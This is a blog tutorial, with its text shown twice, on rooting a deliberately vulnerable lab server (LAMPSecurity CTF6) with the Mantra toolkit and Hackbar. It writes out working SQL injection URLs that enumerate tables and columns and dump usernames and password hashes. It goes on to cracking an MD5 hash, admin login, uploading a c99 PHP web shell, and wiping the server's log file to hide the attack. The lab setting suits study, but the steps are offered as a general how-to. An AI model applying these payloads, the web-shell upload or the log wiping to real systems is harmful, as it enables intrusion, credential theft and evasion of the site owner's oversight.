Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWVuaCwHb0N8iOe_SsowfLE9FF-77ikZaCRZ8LLtusCTY5Qt4L-XPnfvs5SJzJpdFSn2siNCtF6U45cQiw_Ny1e-vHkrvf0Ephxlp7jA_UGtolVsqpYLR5hz826_IH1x2g_n6_LabVsnjx2xfY5igKvmo0jmj1gJkQEE9M7OsJGwqh=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t4JQZB29MtXZW8CXQwRlU_NXxAofJLLyarQf456yBbyGjdK5LhE_XzHvHp2j7lZajQqedwCpm97qYTC33zIb3VxrnuwWB4fY6uGyZ8ntkoVGQaXMAcJI9UMt0sG_O3eeQk9j3_g_Qyyd6vUhWoZLYJOd_cAcOSunCha5LdvZg4keEvAw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tAVW6NduagSZ8lauvTIWunSTjxvlvE5K2cXJ9kBEIONi9Dj63LKR25oK6ZUjwgvmGH7m-EQ1kKcXPpZM7U-VkUpcQNrPApA40pQV7gggIa5fIxcODZH4QAY9LieSid_S-l-M5gaCEbURy7CWpDDbP7o0WNVm8cVppv-tlDt8dVa5auog=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlmLbz7r_92cBMZUg1Ka5HXOFP48RyjsVsGsVIcmPgqIatR4NdOoW-6ExZdsHFN4BeijkJyG9htcj9mvhhBCDU7KIkPXRppL9p-Z9MH3lZhsveJvK8dHUZcTatJi5ptqy4prgVj9efN0ZWxsvHPs7r9QlH-LDBXc6O1tCqdEx8lZsDmQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uEnKIZloQdX7GyG4e4TvIm0Y9SZUFVKTo7ZjAuJMk7d6W-I8JgZ2a-Ygih4rpxpl_q0YiGeas9rPCgAe430tzTQgfFQJqZQSGbqAtZTBOK2hnnxnfrR5HMeFSoyRI4MAUH0rbOzaqP6yWnTIyqKy19b5qysBXGzls1ZS4zaH7-bPev2Q=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_titYOcxNxwpBAoI49cS7y_GzIBWpExlK2hQtRrZA-iQ4przEKmYG-E6BYXFm3btYy0gx6P8nuJp717g71Zqra8dOexaSFKTfAx1hsjVFgR4U0FzfG9sSzLFA0WvH4bZth7bBs2HQuzMBwyxh4KZklpqqRgdVmOg4CyMX8T20nhwjZ3=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vDwPbCXUkXkfrFuexEb4CnObtdJXrtn9U8qtyUsIZwmMcFZxLYvDqJpzYbQ5iiliYO34dn15RtlndWkyKdPo0x0thGDr2ilfurhGcJjC3BRRkyxUNNHst30RArmj5B4S-97l4FZvES0gkyoWyMqUrgxP8ezD271vC3VBwQPdtulCjM6Ng=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tMfRQCTdIPQ7oqSK7vsba2ki6liNKk1dzPhbRbyJilmLcIfbg4u5o_fpi2tgMpsJV77vSUYnFLxOCsFaIu-umQLdX-mSNxfpcekQlJ9WtGzNkGJwX0jRW4I62oP2BeYSz85dvvDZQcQOyxOkN5FZw0wuVlwz6eIuih_aYhHWvink81MPg=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tLWqmMKz9aIqGgyv7uKb4-ACNv9Fzww9kSMq4pns45YgnrEGHJTwx25vY8oRAVb-Tm4zxaWIzE_7wfK4gQrndmhVu_fu8qJHPuAxcT37rL8Qgswsa_V9Jpz1Z_TDyM57zLtufUs8v7ZuV4RAcL_AGRFk5LCx0MPCpBLIbh3j-iSWtD_i8=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skn9b5CxZnm16k59iQSnwRbVlsr-HEv8CoBh8VBSzVGMWhIylWIGtw-YDBLIPcnCDH_7MSX2m_jinTMlB-_NxtokQigxEorDPru5vzmXwglGYHvncac0KqE2P3TOcQrK-40PRQ1VmgJMWyiEfvEeG4qUb-eMjtNgWh0la4Wndcq_ObyJc=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPls_1seb71ujPqfc3sY9rbECARY6jU6HlWCgtezHMYnTVyJPeKSvE36q5SeNkyvvqqPgqn0IKZwRSWbaucpIz13k03Ubf8F5K3WB7val_yFOIMWKURlg-Y6XcQ5mp7QHasnMJdLCmix-YP5LvjmwV7HzmT7K4rtNPNtRVQEQbaG43-Q=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tE3CZ3K-z0LeFffnE2Dd5x08ke2BfijKnrbknuyCuyMNNSOjVKFSDypB1itZNiWeXlcmqH9bQLiX9QZc29jOvz7G1hF_uJEyCifjutJqUBI24sm0yH_oQ2xEcEgkU9xmtvH0IDGRs35laCJxlRw2GiMXWGDbAf67ris3DIG2hhmSCRUoA=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syeEI4ORs38PSIciGP4C-qUKtlFLFMPSDu8PAx5h65WNVhQQJA7tRCfq6NO68meLfPupgK7Qq6y75P7yd2dz_rFQA1QhrsvZma7mSD21e9VS3Tptq6w3DNF2SJauahSOG59Y6BGcermr44NzhuLHBS0Vk9WEVY63FnA7Mry4i1DXzvA1M=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ssvVi8D5SdFThQymDhbrxJxCA7OELhHX3yVS3BsPwvL8UYn_uim_TJJBUDJufNuO5sIq32SVA8az1w0EoEoFZEqhM02Q8TJK27IzPf3XXBFPVR-ljQMXK-kiN6lSpnxc5IFmFdsbqSuJzSPDyvxdW7X4VKavdYFaIKp-y_X5PaZF6tXQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uz8rnRI6jAjC4at_R5C3x5R60NwXEbOBS_G3noDEPpmauan6Y1IzDKPGbgLOo64n2nVhxwp8UTh8_Yq4UvYJQmRvQA6h7vLkLGttOB1qOII4bXIxzwc_55-jWqs-_7quh-Wps6jE5yhgb-mvtMcX7HQ5_3JqcvgbXuBTDAT5ymIH-NKw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfWMw1qAssDnh62n2G6S-6SXY6vmWg5fu5RDk1Bi_7pJPqzgEkNO6Q6k2V_1Q7mLNNgiKsHRlC1cuVXH9mKRbG3DRugVPuOo-FsddpZEqfFBz0rcQW9ZBwDoOvtRAlf9CSAIVXpba3Rv2Lr3aMC0Vl6N0z0hL_gx120lxLRk14WL5Uhn8=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9v5RI68EqSwRFvaNWMyAE5DWpjenDJ4Nmxh7H-ZJMfoELBHnmJ66RUbPqlI-GaZW-6RTwwbae5r1zRHol_aPxJify4tBAcWU8jOiV9qSpDKhzMB9aPDaay5Tfb5UNTvPtlG406z9PwXJYpMTmClRyc7Mhv47uZjY3OSIJS1BJodDpZ4Q=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tTwOy1r0wAFWCoCGdwgjNFF3xeICvsShIt-oFEAtq4m3YvdAvsd2rBHBU386DUoPSFmHTnADo2ySgnmSpltWxF_UMVJt-hjrCGex5xVFcz3pXBJfvIZPmBrx6EKd68D963qh3K-S__KTfWYRESYVsvz-zqEBAPppxWG649juXlLpG53No=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2haKxPaB78LsmWnKAC_R0HneY-GKudRjpxHjLzCv3BQ0hlWdso2UhozODLvdfK8_9k4xDMKBAADv9e5k2vKvxKG9wa1ug0bhWF06YY-k7jocY-KvRDK2SWypcbnnzDSwM92X1Xcv86kHcyztqELd17_xZQ8aBLicFg425Qe6PNaiEhNQ=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uO6FlChN7M4y6105oOOQ8t5JhZdGe7c94UBMASMJoUQ6TT27Pfc7o6iwXERZ7V2Gaq-P_hZSD1hx-ZK1rPMYLyW6v_JIdosCyYUZzCpH9CHKjJqBFEkOGUu90snRSe68uBENfT3cLT7tVUv3OKutMMuSmnEzPWGShDog93h21DN9ix4vA=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uq2TjKh0bdrXkTWV4z0YZthMdPz1NMVBo9BdcgwWh3EBq7Qct3kVYac6WtNlbSOpOYMAeFSvFJHXLvrqCKq2FprAAismKUHGJukI6HfxMywLq6vm9H2DdJzWZ3PZOzyO1jjbA1nD3BUIHVAb7ma0FykVk69MGkb7foAIhXpMH3Mu2hWZ0=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ul5yLK_YOsGSUCoDIWgImqdcq1W5NUo38geKo_eSq4WtXGqTmotigWQP3oXBNRSNwTUAUDbSgBq6Bimw3L-dE-gYbK79jVaN-XOkuxPdb_jRvxr81V5k6CU1sVyJ_c6oogdfFqdAFvG3czdlh4CkZwHm9rwXos9vIfHEhCuJnFx3kiDy4=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sal72K4gNVDASIA9Vh9X__leU4wSG84zZEfxU0DSi4q-jbtgRmpjR2Rd0AxyCDItRwiL4G6H7oPfLrKQyk-ltEP6OpsHoa76g-yTZ0qj4r4-UQ1nVCTmcuExcryonfm73ngjwTkSLJ8kvLR-shCj0XpYgYev3MPpdpGLMGegZqRKVxyDg=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vET3B5zTHnoQldFP-5aLYq8397oea7TwqCSu6lb6CkxXR5DimZlomoYdpithrZVEL7kewGrIJHcDBAecWlcy22PuUplNlvX6karFa5HveEq4A_ULrQgcZdBsOwRIXXX9vXjMKfzGTKvrzIEApNE99veTtSC-wn3PwM1DumO9oleEnXxSI=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAK1sD2lfYHcWVFA0mcgT6UaIEsn-uJWMxZ0-bxUBtmHIiLWhx2FcWkdmMPfeZnpBWp6dT9H2yPoMSiaf2JuBmoCb9884SbutNp04A04gSp1J0NJpHpWrj8ctwzrDRB5NHRXr4ciktcYM1CDs-eGygxacU691HEDqNosfoaq6cW6tU4A=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uSJ2C3trJQzkd3C3oqfqBlZK_8ZTKhARir-zNx6jvM-UH-sAeq9fsyrDyXfK71OnHMfo5sPbiSYmWJnbXRhXPr76J2M9VAS10zuZIQL-q-cXyXDqhrPR3QvPSbCQxnZYnhqLgbqYL8W2U3gXQpXmaUDLPEYsQSA_ZfwUXyHWaJIAFvMA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4YEYl6MLT-RdQXea13V-z2-J9c_575pxBzAUEqYWOXuvzZbadspRkLr3FcWjhgIo27Ope6TQWnYEQliifTn0xcnoR2CvplcWx_VdZdx_SgOcRCQroWIbnobpW7RKxU11RyMZWwI2elM4IbE5zwH2ArmjR4I4mIvhp1qPm7mhVwywxl94=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u3Q8Ag7pGMehYlVScT9pZgsQWRdefphpwB4UT_5-kc7mWdHZAAv-JcLoHcJYloHYbZd7RrgGgRFPZRY_-2Yu-ZUtCNEWKjzGIRvqgO-bxOsSBV1oVNafRnj9FvONhgNvh6n2atDvIj4qiOOPrGacjVjIi1QGKhM-OA1ik_hIiRUrzFRDE=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2fWtk-I920R55FeO2FlLVj8Hq_vqJ4E8O7YkPnqF5lya4yMOEb54xWxnlxMSR2ds4q4oFU1iBMcK3SA451VROgiTh2Wd7KGmHZwfggPNk9QeTWaOl6GR83_o5Ssw0IKoR55pkSf7IrV6D5qira9uJsSy2ZRBdYxmTJpk-zcTDtNCT5g=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vuSL_QLYHcMQ1vHVzhOMZmELMuXjnlhse02IXs__pV4FTBp2adbQz6UDR_gdhajvZLR4w0m08F3MNsPN-sabLRinJVHr0lVRxwqXzDs_cq16V6pUbQmzLKxehRSEMKuqHsCxw8_H4kb44SvHmIOn6vPvnCagrmUlJ7Gwn2SfD9GXdXei8=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjQnbZWGu4OJfMXRgibRodMk8iUV2flm2VE2ZeCC9XfZcYQSHzKaU0hasCKr7VCdXMcKHxQMWKUt0vvZ-KBgMrHrbgbYGMzsBVVFncmiqAV_i2e9FwtStbGorWtoHSexwstFqUoeBgogrh-f-o50HXnzuDgKPXKdKA0qgz501JtDpDnOk=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uqublku1PAdmO6NSrCMroPuZJotJKTNMtbznwGSdK4aKg0XHjmZMJ66Vf-ObH-dQnyqXglW5bnaIZFcMbv4lew6_gR663VzbTeieqm0aJKvCVkfD40lliCFlDPbseZJcySKbQqaFnIYOQqSMenaJpVTCWt66aRGx4DBNUT29pP7396UPU=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tbvi6dikd2xqMFmTnJGuVk_32h4z4imTXcO1WGHMKusTjFeq08MdAc6mrl94UQQfh1o5FcTYUoJrY7xgJxB4p3pyNVeXDY80kieT_PGNml2XaJnxBxnE9DEDRZFZOPvHPymZfzza7vvb84OjoeQs3OxCmXGRvNDNGzcUE2pS_zYmPa4N8=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v4W8OMSQMXcZGSgctaxEsXfSxq1Ld2DeNOF7n2RH9pOqCmcpN1uht_b3U5gWZg9IM_EHlhRTaefyM9c7LJAiIVa-VbrdKclbN4ibnctM8BoCyewpft5awifvljbFapbdNVw9veY5oDUIWgll-y8NGqQpRjjaYICVxBxV6uKE2MGMQnvP8=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vhoJoQHxbA2M3Bpgk1rBzexrsYy-4oIN2ICmjDxatjdBhdhTj0tXTI8hwVpVcvbw-etw_g_d7qi-JzIrCwLXvEdENveG6WxiLZpE3IXkNtg1yiJwM-vqo0XM8NN9ukz7_L7PZnWH4YOrrxu5cyzOuFubloqMWdFQoYH1PK44Ji5o2NiU0=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t1BlXbN1lyeuViXbKlYwZsrWIdJ8BR1bT1W9Y3I1UyQ7WRMPGpQPcoo7qGXEjSGXwFzkNbCdI1cO2Kf8r38Dlax4yORBi_xhzUsQ3PE5rN1ka0MhCzbhAm-JT9OZrZXtfSwMLtWuDCuEPYV28lHPG353CaCFdp2MZDHUso4D9U24Bxbmo=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sJRcLcw5fZpEEGvDLJ-3K1ADBN76ru3frIA6sOxPLyrJn1aRSLpTwnvPvSDNKUB6jzHADI1L4FJ0on38pFu794P_IhE4kAP395pGTwLiuYYM-XnAmo7RCu2CIm-Rk0ewUM5OXTcAbwxNHROwB9QHvuAHvk2jtbME0SjsLITMBmXPeIuw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufioZeHJwYuV3pU8-DRSXVm7rpqqI7LWDYFhZuv5BA9NQtSCND4wGM8QbHUKkyH84p8xKsXKQYu12Gyw-jQeqIMuQ5OIDc92mHh2rDyVU7-rvrl62kU1Z8VkgP3tktrpUv6dSsDgCci31YuEo4E8EgLMaL8wvwCg9QZij4gO05MjsgXEM=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHxXtsBR8lkESxfiAsxsMk1brbaUO7tOPKnIzcnhSEgH-4YMscKCZy6zBv5-gdRsI03DCkJdybAEzUBLA-DeqcA7IGM4rgqT7cUkS1quA2rl2MdVYgYtXpbhOqlYBQI-ivTv4na-5YA1t-f0yqBEPN0j_J4lWLYcVikUzm7z02vNB9zQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBrcQKnK2eqJGFkEFoN7pEMCWvwyg8O5MrCKxfCClGKpBMct0Hrdppy8heLnmAzW3yHk2S37sOI4jgk9ZnbsEIk087r8MDDUERPQkraMyZjBXP4KvuCLQchn9XZ-tA0svAivJ9QcVfS_1dvKVy4HUHvkIVl5U2AHr2hB9kHDdn3sweuJ4=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tEHSfaxBFpx-JumQAnIY_BSMRiKH1rZNXQEcTjVGvm1vaiDqnsoc0G3bJvN5OzfX7nyrBBKPZILhgeyfZ7BqABY5vpzm2fJrUPPYmXA7JnQyvNzF7ym7ljyuCRtJph9Frw-qj0HTtpYdahglHtXpTmUm0lMih2h2z6t6hh499PnHECtUs=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWV2ip8VVXgsatb-rfjgBWt-YTM-eTUD-SbFmrB9m5k4oyoht0WIePsG8vIsjw37yNl4hgGwV4YG_WChWphFII6OR6k8fXaCZ93QggNytEdIK4MrWNyhL4cNGGjRNNXsynlVHIq4W22UCQnU3DV7_VE0LB6XFGjKJFuT2bX5yMpxLpya4=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vXQ4dPwCI84f_jHlcgbGdPfkrT7H-y8jB7uCO_A6qkoj-9dagGtsjT5V5TZH_pOaMaSQ9jUZRJ0_ZZvocJJwyBULd32GXfdHeaDEKfHkevWrVvulnK7Ra0lBWPBBqpMKcUjYDTBK44VVR71w633uoyo_SzCwBR5e9nB_oVIv6rmS_804U=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_twavvEXfxLXdFpizgM6etgj16jC7WjC4RKf-1IDokJlmk6bD5mpqgrl-Wq6vsPZ-_R1JrGkSCOluathnpVJR7FCWaMm5h3ZIc9wk8PMDxyfu9plYlN7OYRojk8xJZ-U5mHdkTlukpogg3QfjInFw-4y0TlIpVYg580v22d_SNYGMKolg=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vMIspGRTMcefBFyUD9TmNCcZyPMgJ0RhjTZeX7QlXEDinGf2Z6q3Joohm0DwtXyafat_UtYsQTJuMOKR62EOOkyRrHl-igqKTa9oN9VuIpe6mSdN0k4YSTGM4NQHGOsx6_inls--eNzTq3kpsBIWhvgMFP_9zMT31k1CZwvmlm5pPcDnM=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete